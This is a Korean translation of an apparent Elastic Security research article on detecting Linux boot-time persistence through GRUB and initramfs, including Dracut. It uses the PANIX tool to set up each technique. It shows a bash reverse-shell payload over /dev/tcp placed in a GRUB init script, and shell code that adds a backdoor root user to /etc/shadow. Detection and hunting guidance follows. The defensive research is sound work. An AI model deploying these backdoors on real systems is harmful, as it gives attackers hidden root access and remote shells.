Ruben Groenewoud

Linux 탐지 엔지니어링 - Linux 지속성의 대단원

이번 아티클에서는 이전 연구를 바탕으로 창의적이거나, 복잡하거나, 드문 지속성 기법에 대해 설명합니다.

48분 소요보안 연구
Linux Detection Engineering - The Grand Finale on Linux Persistence

서문

'Linux 지속성 탐지 엔지니어링' 시리즈의 대단원에 오신 것을 환영합니다! 시리즈의 다섯 번째이자 마지막을 장식할 이번 아티클에서는 Linux 지속성의 세계에 대해 계속 자세히 알아봅니다. 이번 글에서는 이전 글에서 살펴본 기본 개념과 기법을 토대로, 좀 더 모호하고 창의적이거나 복잡한 백도어 및 지속성 메커니즘을 다룹니다.

이전 글을 놓치셨다면 주요 지속성 개념을 살펴봄으로써 기초를 다질 수 있습니다. 자세한 내용은 여기에서 확인할 수 있습니다:

이번 글에서는 다음 사항을 통해 이러한 지속성 메커니즘에 대한 인사이트를 제공합니다.

  • 각각의 작동 방식(이론)
  • 각각 설정하는 방법(연습)
  • 탐지하는 방법(SIEM 및 엔드포인트 규칙)
  • 헌팅 방법(ES|QL 및 OSQuery 참조 헌팅)

이 프로세스를 더욱 매력적으로 만들기 위해, Elastic Security의 Ruben Groenewoud가 설계한 맞춤형 Linux 지속성 도구인 PANIX를 활용할 예정입니다. PANIX를 사용하면 Linux 지속성 설정을 간소화하고 실험할 수 있으므로 탐지 기회를 쉽게 식별하고 테스트할 수 있습니다.

이 시리즈를 마치면 일반적이고 희귀한 Linux 지속성 기법에 대한 탄탄한 지식을 갖추게 될 것입니다. 아울러 일반 및 고급 공격자 기능에 대한 탐지를 효과적으로 엔지니어링하는 방법도 이해할 수 있습니다. Linux 지속성 퍼즐의 마지막 조각을 발견할 준비가 되셨나요? 그럼 시작해 보겠습니다!

설정 노트

이 문서에서 설명하는 지속성 메커니즘을 감지할 수 있도록 준비하려면 미리 구축된 감지 규칙을 활성화하고 업데이트하는 것이 중요합니다. 사용자 지정 규칙 집합으로 작업하고 있으며 미리 구축된 규칙을 모두 사용하지 않는 경우, 이를 테스트하고 부족한 부분을 채울 수 있는 좋은 기회입니다. 이제 시작할 준비가 되었습니다.

T1542 - Pre-OS Boot: GRUB 부트로더

GRUB(GRand Unified Bootloader, 거대 통합 부트로더)은 Linux 시스템에서 널리 사용되는 부트로더로, 커널 로딩과 운영 체제 초기화를 담당합니다. GRUB은 다양한 구성을 지원하는 유연한 프레임워크를 제공하여, 부팅 프로세스를 관리할 수 있는 강력한 도구입니다. 시스템 펌웨어(BIOS/UEFI)와 운영 체제 사이의 중개자 역할을 합니다. Linux 시스템이 부팅되면 일반적으로 다음과 같은 순서가 진행됩니다.

  1. 시스템 펌웨어

  • BIOS 또는 UEFI는 하드웨어 구성 요소(예: CPU, RAM, 저장 장치)를 초기화하고 POST(시동 자체 시험)를 수행합니다.
  • 그런 다음 지정된 부팅 장치에서 부트로더를 찾습니다(보통 부팅 우선순위 설정에 따라).
  1. GRUB 부트로더

  • GRUB이 메모리에 로드됩니다.
  • 사용자가 운영 체제, 커널 버전 또는 복구 모드를 선택할 수 있는 메뉴(활성화된 경우)를 표시합니다.
  • GRUB는 커널 이미지(vmlinuz)와 초기 시스템 설정(예: 파일 시스템 및 하드웨어용 커널 모듈 로드)에 사용되는 임시 루트 파일 시스템인 initramfs/initrd 이미지(initrd.img)를 메모리에 로드합니다.
  • GRUB은 커널 매개변수(예: 루트 파일 시스템의 위치, 부팅 옵션)를 전달하고 제어권을 커널에 넘겨줍니다.
  1. 커널 실행

  • 커널이 패킹 해제되고 초기화됩니다. 시스템 하드웨어를 감지하고 초기화하기 시작합니다.
  • 커널은 커널 매개변수에 지정된 루트 파일 시스템을 마운트합니다.
  • 사용자 공간을 초기화하고 관리하는 첫 번째 프로세스(PID 1)인 초기화 시스템(기존에는 init, 현재는 systemd)이 시작됩니다.
  • init 시스템은 서비스를 설정하고, 파일 시스템을 마운트하며, 사용자 세션을 스폰합니다.

GRUB의 구성 시스템은 유연하고 모듈식이어서 관리자가 부트로더 동작, 커널 매개변수, 메뉴 항목을 정의할 수 있습니다. 모든 주요 배포판은 GRUB의 기본 구성 파일로 /etc/default/grub 을 사용합니다. 이 파일에는 기본 커널 매개변수, 부팅 시간 초과, 그래픽 설정과 같은 일반 옵션이 포함되어 있습니다. 그 예는 다음과 같습니다.

GRUB_TIMEOUT=5                       # Timeout in seconds for the GRUB menu
GRUB_DEFAULT=0                       # Default menu entry to boot
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash resume=/dev/sda2" # Common kernel parameters
GRUB_CMDLINE_LINUX="init=/bin/bash audit=1" # Additional kernel parameters

유연성을 높이기 위해 GRUB은 스크립트 디렉터리를 통해 구성에 대한 모듈식 접근 방식을 지원합니다. 이러한 디렉터리는 일반적으로 /etc/default/grub.d/ (Ubuntu/Debian) 및 /etc/grub.d/ (Fedora/CentOS/RHEL)에 있습니다. 이러한 디렉터리에 있는 스크립트는 업데이트 프로세스 중에 최종 구성으로 결합됩니다.

부팅 전에 GRUB 부트로더를 컴파일해야 합니다. 컴파일된 GRUB 구성 파일은 런타임 시 부트로더가 사용하는 최종 출력입니다. /etc/default/grub 의 설정과 /etc/grub.d/의 모듈식 스크립트(또는 다른 배포판의 경우 유사한 디렉터리 및 파일)에서 생성됩니다. 그런 다음 이 구성은 BIOS 시스템의 경우 /boot/grub/grub.cfg에 저장되고, UEFI 시스템의 경우 /boot/efi/EFI/<distro>/grub.cfg 에 저장됩니다.

Ubuntu 및 Debian 기반 시스템에서는 update-grub 명령어가 GRUB 구성을 생성하는 데 사용됩니다. Fedora, CentOS, RHEL 시스템의 경우, 상응하는 명령어는 grub2-mkconfig입니다. 구성이 생성되면 다음과 같은 이벤트가 발생합니다.

  1. 스크립트 실행:
  • /etc/default/grub.d/ 또는 /etc/grub.d/ 의 모든 모듈식 스크립트는 번호 순대로 실행됩니다.
  1. 설정 집계:
  • /etc/default/grub 및 모듈식 스크립트의 매개변수가 병합됩니다.
  1. 메뉴 항목 생성:
  • GRUB은 설치된 커널과 운영 체제를 동적으로 감지하여 해당 메뉴 항목을 생성합니다.
  1. 최종 편집:
  • 결합된 구성이 /boot/grub/grub.cfg (또는 UEFI에 상응하는 경로)에 기록되어 다음 부팅 시 사용할 수 있습니다.

공격자는 부팅 프로세스에서 GRUB의 유연성과 조기 실행을 악용하여 지속성을 확보할 수 있습니다. GRUB 구성 파일을 수정하여 운영 체제가 완전히 초기화되기 전에 루트 권한으로 실행되는 악성 매개변수나 스크립트를 주입할 수 있습니다. 공격자는 다음과 같은 행동을 할 수 있습니다.

  1. 악성 커널 매개변수 주입:
  • /etc/default/grubinit=/payload.sh와 같은 매개변수를 추가하거나, 부팅 시 GRUB 메뉴에 직접 추가하면 커널이 기본 init 시스템 대신 악성 스크립트를 실행하게 됩니다.
  1. 메뉴 항목 수정:
  • 공격자는 /etc/grub.d/의 메뉴 항목을 변경하여, 승인되지 않은 명령을 포함하거나 악성 커널을 가리킬 수 있습니다.
  1. 숨겨진 부팅 항목 만들기:
  • 악성 구성을 사용하여 GRUB 메뉴에 표시되지 않는 추가 부팅 항목을 추가합니다.

GRUB은 시스템의 일반적인 EDR 및 기타 solutions 메커니즘이 활성화되기 전에 작동하기 때문에, 이 기법은 특히 탐지하기 어렵습니다. 또한 이러한 유형의 공격에 대한 지식이 부족하면 탐지가 어렵습니다. 악성 매개변수나 항목이 정상적인 구성과 유사하게 나타날 수 있어 수동 검사에서 간과되기 쉽기 때문입니다.

GRUB 조작은 MITRE ATT&CK 프레임워크의 T1542: Pre-OS Boot에 해당합니다. 이 기법은 운영 체제가 초기화되기 전에 제어권을 얻기 위해 부트로더를 표적으로 삼는 공격을 포함합니다. 그 중요성에도 불구하고 현재 GRUB 전용 공격에 대한 전용 하위 기술은 없습니다.

다음 섹션에서는 공격자가 악성 매개 변수를 주입하고 부트로더 구성을 수정하여 GRUB를 통해 지속성을 확보하는 방법을 살펴보겠습니다.

T1542 - Pre-OS Boot: GRUB 부트로더를 통한 지속성

이 섹션에서는 GRUB 지속성과 관련된 기술적 세부 사항을 살펴보겠습니다. 이를 위해 맞춤형 Linux 지속성 도구인 PANIXsetup_grub.sh 모듈을 활용할 예정입니다. 이 기법을 시뮬레이션하여 잠재적인 탐지 기회를 연구할 수 있습니다.

GRUB 모듈은 실행 중인 Linux 배포판을 감지하고, 수정할 올바른 파일과 지속성을 설정하는 데 필요한 지원 도구를 결정합니다. 부팅 프로세스 내에서 사용할 수 있는 환경이 제한되어 있기 때문에 이 모듈에는 Fedora 기반 운영 체제용 PANIX와의 호환성이 내장되어 있지 않습니다. PANIX는 페이로드가 이미 주입되었는지 확인하고, 그렇지 않으면 init=/grub-panix.sh 매개변수를 포함하는 사용자 정의 구성(cfg) 파일을 생성합니다. GRUB 구성 파일은 모듈의 숫자 접두사를 기준으로 오름차순으로 로드됩니다. 주입된 모듈이 마지막에 로드되도록 우선순위를 99로 설정합니다.

local grub_custom_dir="/etc/default/grub.d"
local grub_custom_file="${grub_custom_dir}/99-panix.cfg"

echo "[*] Creating custom GRUB configuration file: $grub_custom_file"
cat <<EOF > "$grub_custom_file"
# Panix GRUB persistence configuration
GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT init=/grub-panix.sh"
EOF

이 구성 파일이 준비되면, 네트워킹이 활성화될 수 있도록 일정 시간 동안 휴면 상태에 있는 페이로드를 포함하는 /grub-panix.sh 스크립트가 생성된 후, 리버스 셸 페이로드를 실행하며 메인 프로세스에서 분리되어 끊김 현상이 발생하지 않도록 합니다.

payload="( sleep 10; nohup setsid bash -c 'bash -i >& /dev/tcp/${ip}/${port} 0>&1' & disown ) &"

local init_script="/grub-panix.sh"
echo "[*] Creating backdoor init script at: $init_script"
cat <<EOF > "$init_script"
#!/bin/bash
# Panix GRUB Persistence Backdoor (Ubuntu/Debian)
(
	echo "[*] Panix backdoor payload will execute after 10 seconds delay."
	${payload}
	echo "[+] Panix payload executed."
) &
exec /sbin/init
EOF

이러한 파일을 제자리에 배치한 후 남은 것은 다음을 실행하여 임베디드 백도어 모듈을 포함하도록 GRUB를 업데이트하는 것입니다. update-grub.

탐지 엔지니어링 관점에서 이 프로세스가 어떻게 보이는지 살펴보겠습니다. 다음 명령어를 통해 PANIX 모듈을 실행하세요.

> sudo ./panix.sh --grub --default --ip 192.168.1.100 --port 2014
[*] Creating backdoor init script at: /grub-panix.sh
[+] Backdoor init script created and made executable.
[*] Creating custom GRUB configuration file: /etc/default/grub.d/99-panix.cfg
[+] Custom GRUB configuration file created.
[*] Backing up /etc/default/grub to /etc/default/grub.bak...
[+] Backup created at /etc/default/grub.bak
[*] Running 'update-grub' to apply changes...
Sourcing file `/etc/default/grub'
Sourcing file `/etc/default/grub.d/99-panix.cfg'
Sourcing file `/etc/default/grub.d/init-select.cfg'
Generating grub configuration file ...
[+] GRUB configuration updated. Reboot to activate the payload.

모듈을 실행하고 시스템을 재부팅하면 Kibana에서 다음 문서를 볼 수 있습니다.

PANIX GRUB module execution visualized in Kibana
Kibana에서 시각화된 PANIX GRUB 모듈 실행

PANIX를 실행하면 /etc/default/grub의 백업, 새 모듈식 Grub 구성 /etc/default/grub.d/99-panix.cfg, 백도어 페이로드(/grub-panix.sh)가 생성되는 것을 볼 수 있습니다. 백도어에 필요한 실행 권한을 부여한 후, update-grub 실행 파일을 통해 GRUB을 업데이트하면 이제 백도어가 준비됩니다. 재부팅 시 /grub-panix.shinit에 의해 실행되며, 이는 대부분의 최신 운영 체제의 systemd이며, /grub-panix.shnohupsetsidbash의 리버스 셸 체인을 성공적으로 실행합니다. event.action 값이 already-running인 이유는 Elastic Defend가 초기화되기 전 부팅 프로세스 중에 페이로드가 실행되기 때문입니다. 실행 부팅 단계에 따라 Elastic Defend는 이 event.action을 사용하여 누락된 이벤트를 캡처할 수 있으며, 이를 통해 활동을 계속 감지할 수 있습니다.

적용 범위를 살펴보겠습니다:

GRUB 부트로더 지속성을 다루는 탐지 및 엔드포인트 규칙

다음 revert 명령을 실행하여 PANIX에서 변경한 내용을 되돌릴 수 있습니다:

> ./panix.sh --revert grub

[*] Reverting GRUB persistence modifications...
[*] Restoring backup of /etc/default/grub from /etc/default/grub.bak...
[+] /etc/default/grub restored.
[*] Removing /etc/default/grub.d/99-panix.cfg...
[+] /etc/default/grub.d/99-panix.cfg removed.
[*] /grub-panix.sh not found; nothing to remove.
[*] Updating GRUB configuration...
[...]
[+] GRUB configuration updated.
[+] GRUB persistence reverted successfully.

T1542 - Pre-OS Boot: GRUB 부트로더 헌팅

탐지에 의존하는 것 외에도, 특히 타이밍이나 환경적 제약으로 인해 이벤트를 놓칠 가능성이 있는 지속성 메커니즘의 경우, 워크플로에 위협 헌팅을 통합하는 것이 중요합니다. 이번 아티클에는 GRUB 부트로더 지속성을 위한 사용 가능한 헌팅을 나열하고 있지만, 그러나 위협 헌팅의 기본 사항에 대한 자세한 내용은 'T1053 헌팅 - 예약된 작업/업무 - 예약된 작업'의 Linux 탐지 엔지니어링 - 지속성 메커니즘 입문서 섹션에 설명되어 있습니다. 또한 설명과 참조 자료는 탐지 규칙 리포지토리, 특히 Linux 헌팅 하위 디렉터리에서 찾을 수 있습니다.

GRUB 구성과 관련된 파일 생성, 수정, 실행에 초점을 맞춰 ES|QLOSQuery를 통해 GRUB 부트로더 지속성을 헌팅할 수 있습니다. 이 접근 방식에는 다음 사항에 대한 모니터링이 포함됩니다.

  1. GRUB 구성 파일 생성 및/또는 수정: GRUB 구성 파일 및 모듈, 컴파일된 GRUB 바이너리와 같은 중요 파일의 변경 사항을 추적합니다. 이러한 파일은 부트로더 구성에 필수적이며 일반적으로 GRUB 기반 지속성을 대상으로 합니다.
  2. GRUB 관련 명령 실행: GRUB 설정을 수정하거나 부팅 구성을 다시 생성하려는 시도를 나타낼 수 있는 grub-mkconfig, grub2-mkconfig, update-grub와 같은 명령을 모니터링합니다.
  3. GRUB 파일의 메타데이터 분석: GRUB 구성 파일의 소유권, 액세스 시간 및 최근 변경 사항을 식별하여 무단 수정을 감지합니다.
  4. 커널 및 부팅 무결성 모니터링: secureboot, platform_info, kernel_info, kernel_keys와 같은 ES|QL 및 OSQuery 테이블을 사용하여 중요한 커널 및 부팅 관련 데이터를 추적하고, 시스템의 부팅 무결성 및 커널 구성에 대한 인사이트를 제공합니다.

GRUB 부트로더를 통한 지속성일반 커널 조작 헌팅 규칙을 위에 나열된 맞춤형 탐지 쿼리와 결합하면, 분석가는 T1542를 효과적으로 식별하고 이에 대응할 수 있습니다.

T1542- Pre-OS 부팅: Initramfs

Initramfs(초기 RAM 파일 시스템) 는 부트로더가 메모리에 로드하는 임시 루트 파일 시스템 역할을 하는 Linux 부팅 프로세스의 중요한 부분입니다. 커널이 하드웨어를 초기화하고, 필요한 모듈을 로드하고, 실제 루트 파일시스템을 마운트할 수 있도록 시스템을 준비할 수 있습니다.

이전 섹션에서 학습했듯이 부트로더(예: GRUB)는 커널(vmlinuz)과 initramfs 이미지(initrd.img)의 두 가지 주요 구성 요소를 로드합니다. initrd.img는 일반적으로 /boot/에 저장된 압축 파일 시스템으로, 필수 드라이버, 바이너리(예: busybox), 라이브러리, 초기 시스템 초기화를 위한 스크립트를 포함합니다. gzip, LZ4 또는 xz와 같은 형식으로 패킹되며, /bin, /lib, /etc와 같은 디렉토리가 있는 최소한의 Linux 파일 시스템으로 추출됩니다. 실제 루트 파일 시스템이 마운트되면, 제어권은 기본 init 시스템(예: systemd)으로 넘어가고, initramfs는 폐기됩니다.

Initramfs는 Linux 부팅 프로세스에서 중심적인 역할을 하지만, 단독으로 작동하지는 않습니다. /boot/ 디렉토리에는 부트로더와 커널이 원활하게 작동하도록 하는 필수 파일이 들어 있습니다. 이러한 파일에는 커널 바이너리, initramfs 이미지, 그리고 시스템 초기화에 필요한 구성 데이터가 포함되어 있습니다. 다음은 이러한 중요한 구성 요소에 관한 상세 설명입니다.

  • vmlinuz-<version></version>: 압축된 Linux 커널 바이너리입니다.
  • vmlinuz: 압축된 Linux 커널 바이너리에 대한 심볼릭 링크입니다.
  • initrd.img-<version> 또는 initramfs.img-<version>: 임시 파일 시스템을 포함하는 initramfs 이미지.
  • initrd.img 또는 initramfs.img: initramfs 이미지에 대한 심볼릭 링크.
  • config-<version></version>: 특정 커널 버전에 대한 구성 옵션입니다.
  • System.map-<version></version>: 디버깅에 사용되는 커널 심볼 맵입니다.
  • grub/: 부트로더 구성 파일.

GRUB와 마찬가지로, initramfs는 부팅 프로세스 초기에 실행되므로 은밀하게 지속성을 추구하는 공격자들에게 흥미로운 표적이 됩니다. 악성 스크립트를 추가하거나 초기화 로직을 변경하는 등 내용을 수정하면 시스템이 완전히 초기화되기 전에 악성 코드가 실행될 수 있습니다.

현재 initramfs에 대한 특정 하위 섹션은 없지만, 부팅 프로세스의 수정은 MITRE ATT&CK 프레임워크의 T1542, Pre-OS Boot 에 해당합니다.

다음 섹션에서는 공격자가 initramfs를 조작하는 방법, 지속성 메커니즘을 삽입하는 데 사용할 수 있는 방법, 이러한 위협을 효과적으로 탐지하고 완화하는 방법에 대해 살펴봅니다.

T1542 - Initramfs: 수동 수정

지속성을 설정하기 위해 initramfs를 수정하는 것은 에 게시된 ''(Initramfs 지속성 기법) 블로그에서 다룬 기법입니다. 본질적으로 initramfs를 수정하는 것은 압축된 파일 시스템을 패킹 해제하고, 변경한 다음, 이미지를 다시 패킹하여 기능을 유지하면서 지속성 메커니즘을 내장하는 것을 포함합니다. 이 프로세스는 본질적으로 악의적이지 않습니다. 관리자가 initramfs를 수정하여 사용자 정의 드라이버나 구성을 추가할 수도 있습니다. 그러나 공격자는 이러한 유연성을 악용하여 주 운영 체제가 완전히 로드되기 전에 악성 작업을 실행할 수 있습니다.

기법의 예로, 백도어 사용자 생성, 시스템 파일/서비스 변경, 재부팅 시에도 지속되는 스크립트 주입 등 호스트 파일 시스템을 조작하기 위해 init 스크립트에 코드를 추가하는 것이 포함됩니다.

initramfs 작업을 위한 도우미 도구가 있지만, binwalk와 같은 로우레벨 유틸리티를 통해 수동 수정이 가능합니다. Binwalk는 압축된 아카이브를 분석하고 추출하는 데 특히 유용하여, initramfs 이미지를 검사하고 분해하는 데 적합합니다.

다음 섹션에서는 수동 initramfs 수정 프로세스에 대해 자세히 설명하겠습니다.

T1542 - Initramfs: 수동 수정을 통한 지속성

이 섹션에서는 부팅 프로세스 중에 시스템에 백도어를 추가하기 위해 initramfs를 '수동으로' 조작합니다. 이를 위해 PANIX의 setup_initramfs.sh 모듈을 사용합니다. 모듈의 가장 중요한 측면을 분석하여 무슨 일이 일어나고 있는지 파악해 보겠습니다.

모듈을 실행할 때 initrd.img 파일이 백업됩니다. 이러한 기술을 구현하면 부팅 프로세스가 중단될 수 있으므로 백업을 항상 준비해 두는 것이 좋습니다. 그런 다음 임시 디렉터리가 생성되고 initramfs 이미지가 그곳에 복사됩니다. binwalk를 통해 initrd.img 내에 포함된 다양한 아카이브(예: CPU 마이크로코드 cpio 아카이브 및 미니 Linux 파일 시스템을 포함하는 gzipped cpio 아카이브)를 식별하고 맵핑할 수 있습니다. 스트링 TRAILER!!!cpio 아카이브의 끝을 표시하여, 하나의 아카이브가 끝나는 위치를 정확히 알려주기 때문에 우리가 다음 아카이브와 이를 구분할 수 있게 해 줍니다. 즉, binwalk 은 파일을 분할할 위치를 표시하고 TRAILER!!! 마커는 나머지 initramfs를 추출하고 다시 빌드하기 전에 마이크로코드 cpio의 경계를 확인합니다. 자세한 내용은 원저자의 'Initramfs Persistence Technique'(Initramfs 지속성 기법) 블로그를 참조하세요.

# Use binwalk to determine the trailer address.
ADDRESS=$(binwalk initrd.img | grep TRAILER | tail -1 | awk '{print $1}')
if [[ -z "$ADDRESS" ]]; then
	echo "Error: Could not determine trailer address using binwalk."
	exit 1
fi
echo "[*] Trailer address: $ADDRESS"

이 섹션에서는 initrd.img 파일의 일부를 추출하고 패킹 해제하여 수정할 수 있습니다. dd 명령은 첫 번째 cpio 아카이브(마이크로코드)를 TRAILER!!!로 표시된 바이트 오프셋까지 추출하여, 나중에 재조립할 수 있도록 initrd.img-begin으로 저장합니다. 다음으로 unmkinitramfsinitrd.img에서 디렉터리(initrd_extracted)로 나머지 파일 시스템을 패킹 해제하여 수정할 수 있도록 합니다.

dd if=initrd.img of=initrd.img-begin count=$ADDRESS bs=1 2>/dev/null || { echo "Error: dd failed (begin)"; exit 1; }

unmkinitramfs initrd.img initrd_extracted || { echo "Error: unmkinitramfs failed"; exit 1; }

파일 시스템을 추출한 후에는 이를 수정하여 지속성을 확보할 수 있습니다. 이 프로세스는 부팅 시 Linux 시스템 초기화를 담당하는 init 파일을 조작하는 데 중점을 둡니다. 이 코드는 다음 작업을 수행합니다.

  1. 루트 파일 시스템을 쓰기 가능하도록 마운트합니다.
  2. 두 단계를 통해 sudo 권한이 있는 새 사용자를 만들려고 시도합니다.
    1. 제공된 사용자가 이미 존재하는지 확인하고, 존재한다면 중단합니다.
    2. 사용자가 존재하지 않으면 /etc/shadow, /etc/passwd, /etc/group에 사용자를 수동으로 추가합니다.

이 페이로드는 원하는 대로 변경할 수 있습니다. 우리가 작업하고 있는 환경이 매우 제한적이기 때문에, 사용 가능한 도구만 사용해야 합니다.

올바른 페이로드를 추가한 후 initramfs를 다시 패킹할 수 있습니다. 스크립트는 다음을 사용합니다.

find . | sort | cpio -R 0:0 -o -H newc | gzip > ../../initrd.img-end

이를 통해 파일 시스템을 initrd.img-end로 다시 패킹합니다. 모든 파일은 root:root(-R 0:0)가 소유하고 있고 initramfs와 호환되는 newc 형식을 사용하도록 합니다.

이전에 추출한 마이크로코드 아카이브(initrd.img-begin)를 initrd.img-end 를 사용하여 새로 만든 아카이브(cat)와 연결하여 최종 아카이브를 생성합니다. initrd.img-new:

cat initrd.img-begin initrd.img-end > initrd.img-new

initrd.img-new는 기존 initramfs 파일을 대체하여, 시스템이 다음 부팅 시 수정된 버전을 사용하도록 합니다.

지금까지 프로세스를 파악해 봤으니, 이제 모듈을 실행하고 이벤트가 전개되도록 할 수 있습니다. 참고: 모든 Linux 배포판이 TRAILER!!! 스트링으로 cpio 아카이브의 끝을 지정하지 않으므로, 이 자동화된 기술은 모든 시스템에서 작동하지 않을 수 있습니다. 그럼 계속 진행해 볼까요?

> sudo ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes
[*] Will inject user 'panix' with hashed password '<hash>' into the initramfs.
[*] Preparing Binwalk-based initramfs persistence...
[*] Temporary directory: /tmp/initramfs.neg1v5
[+] Backup created: /boot/initrd.img-5.15.0-130-generic.bak
[*] Trailer address: 8057008
[+] Binwalk-based initramfs persistence applied. New initramfs installed.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot of your system before proceeding.

Kibana에서 생성된 이벤트를 살펴보겠습니다.

PANIX Initramfs module execution visualized in Kibana - Binwalk method
Kibana에서 시각화된 PANIX Initramfs 모듈 실행 - Binwalk 메서드

실행 로그를 보면 opensslpasswd 해시를 생성하는 데 사용된다는 것을 알 수 있습니다. 그 후, initramfs 이미지가 임시 디렉터리에 복사되고 binwalk가 파일 시스템의 주소를 찾는 데 활용됩니다. 올바른 섹션이 발견되면 파일 시스템을 추출하기 위해 unmkinitramfs가 호출되고, 그 후 페이로드가 init 파일에 추가됩니다. 그다음 파일 시스템은 gzipcpio를 통해 다시 패킹되고, 마이크로코드, 파일 시스템 등 기타 섹션과 함께 완전히 작동하는 initramfs 이미지로 결합됩니다. 그 후 이 이미지는 /boot/ 디렉터리에 복사되어, 현재 활성화된 initramfs 이미지를 덮어씁니다. 재부팅하면 루트 권한이 있는 새 panix 사용자를 사용할 수 있습니다.

적용 범위를 살펴보겠습니다:

수동 initramfs 지속성을 다루는 탐지 및 엔드포인트 규칙

다음 revert 명령을 실행하여 PANIX에서 변경한 내용을 되돌릴 수 있습니다:

> ./panix.sh --revert initramfs

[!] Restoring initramfs from backup: $initrd_backup...
[+] Initramfs restored successfully.
[!] Rebuilding initramfs to remove modifications...
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.

T1542 - Initramfs: 수동 수정 헌팅

binwalk와 같은 도구의 사용과 관련된 의심스러운 활동에 집중하여, ES|QL 및 OSQuery를 사용하여 이 기법을 헌팅할 수 있습니다. 이 기법은 일반적으로 부팅 프로세스에 악성 구성 요소나 스크립트를 주입하기 위해 initramfs 파일을 추출, 분석, 수정하는 것을 포함합니다. 이 접근 방식에는 다음 사항에 대한 모니터링이 포함됩니다.

  1. 의심스러운 인수를 사용하여 Binwalk 실행: 파일을 추출하거나 분석하기 위해 binwalk가 실행되는 프로세스를 추적합니다. 이렇게 하면 initramfs 내용을 검사하거나 변조하려는 시도가 드러날 수 있습니다.
  2. Initramfs 파일 생성 및/또는 수정: initramfs 파일에 대한 변경 사항을 추적합니다(/boot/initrd.img).
  3. 일반 커널 조작 지표: secureboot, kernel_info, 그리고 /boot/ 내의 파일 변경 모니터링과 같은 쿼리를 활용하여, 커널 및 부트로더 조작의 광범위한 징후를 탐지합니다. 이는 initramfs 악용과 중복될 수 있습니다.

분석가는 Initramfs를 통한 지속성일반 커널 조작 헌팅 규칙을 위에 나열된 맞춤형 탐지 쿼리와 결합하여, T1542를 효과적으로 식별하고 대응할 수 있습니다.

T1542 - Initramfs: Dracut을 통한 수정

Dracut 는 대부분의 Linux 시스템에서 이니트램프를 관리하기 위한 다용도 도구입니다. 초기화 파일을 해체하고 재구성해야 하는 수동 방식과 달리 Dracut은 구조화된 모듈식 접근 방식을 제공합니다. 이 기능은 사용자 지정 기능을 추가할 수 있는 강력한 프레임워크를 제공하면서 초기화 이미지 생성, 수정, 재생성을 간소화합니다. 시스템의 요구 사항에 맞게 최소한의 Linux 환경을 구성하여 초기화 이미지를 생성합니다. 모듈식 설계로 필요한 드라이버, 라이브러리, 스크립트만 포함되어 있습니다.

Dracut은 스크립트, 구성 파일, 종속성을 포함하는 독립된 디렉터리인 모듈을 통해 작동합니다. 이러한 모듈은 initramfs의 동작과 콘텐츠를 정의합니다. 예를 들어, 특정 하드웨어에 대한 드라이버, 암호화된 파일 시스템을 처리하는 도구, 또는 부팅 전 작업을 위한 사용자 정의 로직이 포함될 수 있습니다.

Dracut 모듈은 일반적으로 다음 위치에 저장됩니다.

  • /usr/lib/dracut/modules.d/
  • /lib/dracut/modules.d/

각 모듈은 XXname 형식의 디렉터리에 있으며, 여기서 XX 은 로드 순서를 정의하는 두 자리 숫자이고 name 는 모듈 이름입니다(예:, 01base, 95udev).

모듈이 initramfs에 통합되는 방식을 정의하는 기본 스크립트는 module-setup.sh입니다. 어떤 파일을 포함해야 하는지, 어떤 종속성이 필요한지 지정합니다. 다음은 module-setups.sh 스크립트의 기본 예시입니다.

#!/bin/bash

check() {
  return 0 
}

depends() {
  echo "base"
}

install() {
  inst_hook cmdline 30 "$moddir/my_custom_script.sh"
  inst_simple /path/to/needed/binary
}
  • check(): 모듈을 포함할지 여부를 결정합니다. 0 (을)를 반환하면 모듈이 항상 포함되도록 합니다.
  • depends(): 이 모듈이 의존하는 다른 모듈을 지정합니다(예:, base, udev).
  • install(): 포함할 파일 또는 스크립트를 정의합니다. inst_hookinst_simple 와 같은 함수는 프로세스를 간소화합니다.

Dracut을 사용하여 공격자나 관리자가 initramfs를 쉽게 수정하여 사용자 정의 스크립트나 기능을 포함할 수 있습니다. 예를 들어, 악성 행위자는 다음과 같은 행동을 할 수 있습니다.

  • 부팅 시 명령을 실행하는 스크립트를 추가합니다.
  • 루트 파일 시스템이 마운트되기 전에 기존 모듈을 수정하여 시스템 동작을 변경합니다.

다음 섹션에서는 사용자 정의 Dracut 모듈을 생성하여 initramfs를 수정하는 방법을 살펴보겠습니다.

T1542 - Initramfs를 통한 지속성: Dracut을 사용한 수정

본격적인 달리기에 앞서 걷기부터 시작하는 것이 항상 좋습니다. 이전 섹션에서는 설정하기 어려운 initramfs를 수동으로 조작하는 방법을 배웠습니다. 지금까지 기본 사항을 파악했으니, 이제 많은 Linux 시스템에 기본적으로 제공되는 Dracut이라는 도우미 도구를 사용하여 훨씬 더 쉽게 지속할 수 있습니다. 이번에는 Dracut 섹션에 초점을 맞춰 setup_initramfs.sh 모듈을 다시 살펴 보겠습니다.

이 PANIX 모듈은 /usr/lib/dracut/modules.d/99panix에 새 Dracut 모듈 디렉터리를 생성하고, 다음 컨텐츠가 포함된 module-setup.sh 파일을 생성합니다.

#!/bin/bash
check()  { return 0; }
depends() { return 0; }
install() {
	inst_hook pre-pivot 99 "$moddir/backdoor-user.sh"
}

이 스크립트는 Dracut을 사용하여 initramfs가 빌드될 때 사용자 정의 스크립트(backdoor-user.sh)가 포함되고 부팅 중 피벗 전 단계에서 실행되도록 구성합니다. 사전 피벗 단계에서 실행하면 스크립트는 제어권이 메인 OS로 넘어가기 전에 실행되어 실제 루트 파일 시스템을 수정할 수 있게 합니다.

module-setup.sh 실행 권한을 부여한 후, 모듈은 backdoor-user.sh 파일을 계속 생성합니다. 전체 내용을 보려면 모듈 소스 코드를 검사하십시오. 중요한 부분은 다음과 같습니다:

#!/bin/sh

# Remount the real root if it's read-only
mount -o remount,rw /sysroot 2>/dev/null || {
	echo "[dracut] Could not remount /sysroot as RW. Exiting."
	exit 1
}
[...]

if check_user_exists "${username}" /sysroot/etc/shadow; then
    echo "[dracut] User '${username}' already exists in /etc/shadow."
else
    echo "${username}:${escaped_hash}:19000:0:99999:7:::" >> /sysroot/etc/shadow
    echo "[dracut] Added '${username}' to /etc/shadow."
fi

[...]

